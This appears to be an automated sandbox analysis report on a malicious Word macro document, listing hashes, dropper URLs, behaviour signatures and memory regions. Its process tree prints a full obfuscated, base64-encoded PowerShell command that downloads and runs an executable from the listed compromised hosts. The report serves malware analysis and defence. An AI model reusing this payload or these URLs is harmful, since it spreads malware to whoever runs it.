Analysis

  • max time kernel
    101s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    20-08-2024 08:54

General

  • Target

    ae97431892a4e244f1ee5dc513ea1528_JaffaCakes118.doc

  • Size

    187KB

  • MD5

    ae97431892a4e244f1ee5dc513ea1528

  • SHA1

    6656f517d4c8c517b0aec634f227e929072219d6

  • SHA256

    a2ba88f7671dcd2ff21e4527d40086f45df3c3bf24c6041e9aaf60af189f22fc

  • SHA512

    3759d21e4d9287eafeb449f57468db39449d36f790d9a51c891f7c3c1033433043b3dcb5318bd97b24adf1eacd2c210359d333bed5a5c677a6aa8016e511ff69

  • SSDEEP

    3072:dA9ov+mLIX7wzt0HHDnwjacRHvvvvZ18gEm1:Sat0TwDRv8gEm1

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://techiweek.com/wp-includes/FW6/

exe.dropper

https://ravi-tools.com/js/1/

exe.dropper

https://providedigital.com/wp-admin/Igvi3l/

exe.dropper

https://nghiencauca.com/wp-includes/BOInu4E/

exe.dropper

http://jietuo66.com/hwqsv/oC/

exe.dropper

https://oklatu.com/wp-admin/i/

exe.dropper

https://blog.thejobstack.com/pmloibg/M/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ae97431892a4e244f1ee5dc513ea1528_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2948
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2464
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD JABSAHYAYgB1ADkAMABnAD0AKAAnAEoAJwArACgAJwByACcAKwAnADgAYQBkAHUAJwApACsAJwAzACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBQAFIAbwBmAEkAbABFAFwAZgAyAGMANAB4AHQAawBcAHkAcQBfAGkAYgB4AFAAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAUgBgAGkAdABZAGAAUAByAE8AVABPAGAAYwBgAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACgAJwBzADEAMgAnACsAJwAsACAAJwApACsAKAAnAHQAbABzACcAKwAnADEAMQAsACAAJwArACcAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAEIAcwBtAHcAYgBiAHQAIAA9ACAAKAAnAFgAYgAnACsAKAAnAHUAJwArACcAcQBrACcAKQArACgAJwBsACcAKwAnAGYAegBvACcAKQApADsAJABCAGQAYQBvAGEAcABjAD0AKAAnAFkAJwArACcAcgAnACsAKAAnAF8AXwAnACsAJwBfAGoAdQAnACkAKQA7ACQARgB6ADIAXwB0AGEAdwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAFcAJwArACcAbwA1AEYAJwApACsAKAAnADIAYwAnACsAJwA0ACcAKwAnAHgAdABrACcAKQArACcAVwBvACcAKwAoACcANQBZAHEAXwAnACsAJwBpAGIAeAAnACkAKwAoACcAcABXAG8AJwArACcANQAnACkAKQAuACIAUgBlAGAAUABsAEEAQwBFACIAKAAoACcAVwAnACsAJwBvADUAJwApACwAJwBcACcAKQApACsAJABCAHMAbQB3AGIAYgB0ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABMAGcAeABqAGcAbgB6AD0AKAAnAEoAYQAnACsAJwBjAF8AJwArACgAJwAyACcAKwAnAG4AcAAnACkAKQA7ACQASgA0AG4AagBpAHoAOQA9ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAFQALgBXAEUAYgBDAGwASQBFAG4AdAA7ACQAWQBfAHQAMABzAHEAZwA9ACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AJwApACsAJwB0ACcAKwAoACcAZQBjACcAKwAnAGgAaQB3AGUAZQBrACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGkAbgBjACcAKwAnAGwAdQBkACcAKQArACgAJwBlAHMALwBGAFcANgAnACsAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAcwA6AC8AJwApACsAJwAvACcAKwAoACcAcgAnACsAJwBhAHYAJwApACsAKAAnAGkAJwArACcALQB0AG8AbwBsAHMAJwArACcALgAnACkAKwAnAGMAbwAnACsAKAAnAG0AJwArACcALwBqAHMALwAxACcAKQArACcALwAqACcAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwBzADoALwAvACcAKQArACgAJwBwAHIAbwAnACsAJwB2AGkAJwApACsAJwBkACcAKwAoACcAZQBkAGkAJwArACcAZwAnACkAKwAoACcAaQB0AGEAbAAuACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAHcAJwApACsAJwBwACcAKwAoACcALQBhAGQAbQBpACcAKwAnAG4AJwArACcALwBJAGcAdgBpACcAKwAnADMAJwArACcAbAAnACkAKwAoACcALwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAKAAnAHMAOgAnACsAJwAvACcAKQArACgAJwAvAG4AJwArACcAZwAnACkAKwAnAGgAaQAnACsAKAAnAGUAbgBjACcAKwAnAGEAdQBjAGEALgAnACsAJwBjAG8AJwApACsAJwBtACcAKwAoACcALwB3AHAALQBpAG4AJwArACcAYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQAnACkAKwAnAHMALwAnACsAJwBCAE8AJwArACgAJwBJAG4AdQAnACsAJwA0AEUALwAqAGgAJwApACsAKAAnAHQAdABwACcAKwAnADoAJwApACsAJwAvACcAKwAnAC8AJwArACgAJwBqACcAKwAnAGkAJwArACcAZQB0AHUAbwA2ADYALgBjAG8AJwArACcAbQAvAGgAJwApACsAKAAnAHcAJwArACcAcQBzAHYALwBvACcAKQArACgAJwBDAC8AJwArACcAKgAnACkAKwAnAGgAJwArACcAdAAnACsAKAAnAHQAcABzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBvAGsAbABhAHQAJwArACcAdQAnACkAKwAnAC4AYwAnACsAKAAnAG8AbQAvACcAKwAnAHcAJwApACsAJwBwACcAKwAoACcALQBhACcAKwAnAGQAbQBpAG4ALwAnACkAKwAoACcAaQAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAcwA6AC8AJwArACcALwBiAGwAJwArACcAbwBnAC4AJwApACsAKAAnAHQAaABlAGoAbwBiAHMAdAAnACsAJwBhACcAKQArACcAYwAnACsAKAAnAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAnAHAAJwArACgAJwBtAGwAJwArACcAbwBpACcAKQArACcAYgAnACsAKAAnAGcAJwArACcALwBNACcAKQArACcALwAnACkALgAiAHMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARABxADgAYwA4AF8AcgA9ACgAJwBZACcAKwAnADMAJwArACgAJwB4AGwAJwArACcAOAA4AGMAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABYAHAAMAAzAGcAbQBlACAAaQBuACAAJABZAF8AdAAwAHMAcQBnACkAewB0AHIAeQB7ACQASgA0AG4AagBpAHoAOQAuACIARABgAG8AYABXAG4ATABvAGAAQQBkAGYAaQBMAGUAIgAoACQAWABwADAAMwBnAG0AZQAsACAAJABGAHoAMgBfAHQAYQB3ACkAOwAkAFcAZgA3AF8AYwBmAG0APQAoACgAJwBLADgAYgAnACsAJwBfACcAKQArACcAbQAnACsAJwBkAHYAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEYAegAyAF8AdABhAHcAKQAuACIATABlAGAATgBHAHQASAAiACAALQBnAGUAIAAzADEAMAAwADMAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAoACQARgB6ADIAXwB0AGEAdwApADsAJABRADUAdABuAHIAaABxAD0AKAAnAEQAJwArACcAbQBvACcAKwAoACcAMgAnACsAJwBuAGgAcQAnACkAKQA7AGIAcgBlAGEAawA7ACQAVQBkAHYAcwBxAGwAYQA9ACgAJwBGAHkAJwArACgAJwBhACcAKwAnADAAcgAnACkAKwAnAGYANQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAagBrAGMAdAA5AG8APQAoACcATAAnACsAKAAnAGoAOAA0ACcAKwAnADkAOQAnACsAJwBiACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2676

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      d9648cb1955d6cd3bf80ad4896c251ad

      SHA1

      db239214268f24bb15ca90d1db0e69bb0dd323dd

      SHA256

      ac51c9dd183c4c4d14d73c359ec8714cbe8a4cec80ad4770aa847d7a9745b35e

      SHA512

      d5d54ac5fff140673e66b15a4c242850878c56abb6fe625d9bb857a7146b648d3bef93591e32dc074a55a53d0a256159b6bbc5f8bfd53f724333071686073510

    • memory/2676-53-0x000000001B330000-0x000000001B612000-memory.dmp

      Filesize

      2.9MB

    • memory/2676-54-0x00000000022A0000-0x00000000022A8000-memory.dmp

      Filesize

      32KB

    • memory/2948-7-0x0000000005E70000-0x0000000005F70000-memory.dmp

      Filesize

      1024KB

    • memory/2948-47-0x0000000005790000-0x0000000005890000-memory.dmp

      Filesize

      1024KB

    • memory/2948-0-0x000000002F491000-0x000000002F492000-memory.dmp

      Filesize

      4KB

    • memory/2948-24-0x0000000005790000-0x0000000005890000-memory.dmp

      Filesize

      1024KB

    • memory/2948-25-0x0000000005790000-0x0000000005890000-memory.dmp

      Filesize

      1024KB

    • memory/2948-8-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2948-29-0x0000000005790000-0x0000000005890000-memory.dmp

      Filesize

      1024KB

    • memory/2948-37-0x0000000005790000-0x0000000005890000-memory.dmp

      Filesize

      1024KB

    • memory/2948-43-0x0000000005790000-0x0000000005890000-memory.dmp

      Filesize

      1024KB

    • memory/2948-6-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2948-46-0x0000000005790000-0x0000000005890000-memory.dmp

      Filesize

      1024KB

    • memory/2948-5-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2948-2-0x000000007147D000-0x0000000071488000-memory.dmp

      Filesize

      44KB

    • memory/2948-55-0x000000007147D000-0x0000000071488000-memory.dmp

      Filesize

      44KB

    • memory/2948-56-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2948-57-0x0000000005790000-0x0000000005890000-memory.dmp

      Filesize

      1024KB

    • memory/2948-61-0x0000000005790000-0x0000000005890000-memory.dmp

      Filesize

      1024KB

    • memory/2948-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2948-77-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2948-78-0x000000007147D000-0x0000000071488000-memory.dmp

      Filesize

      44KB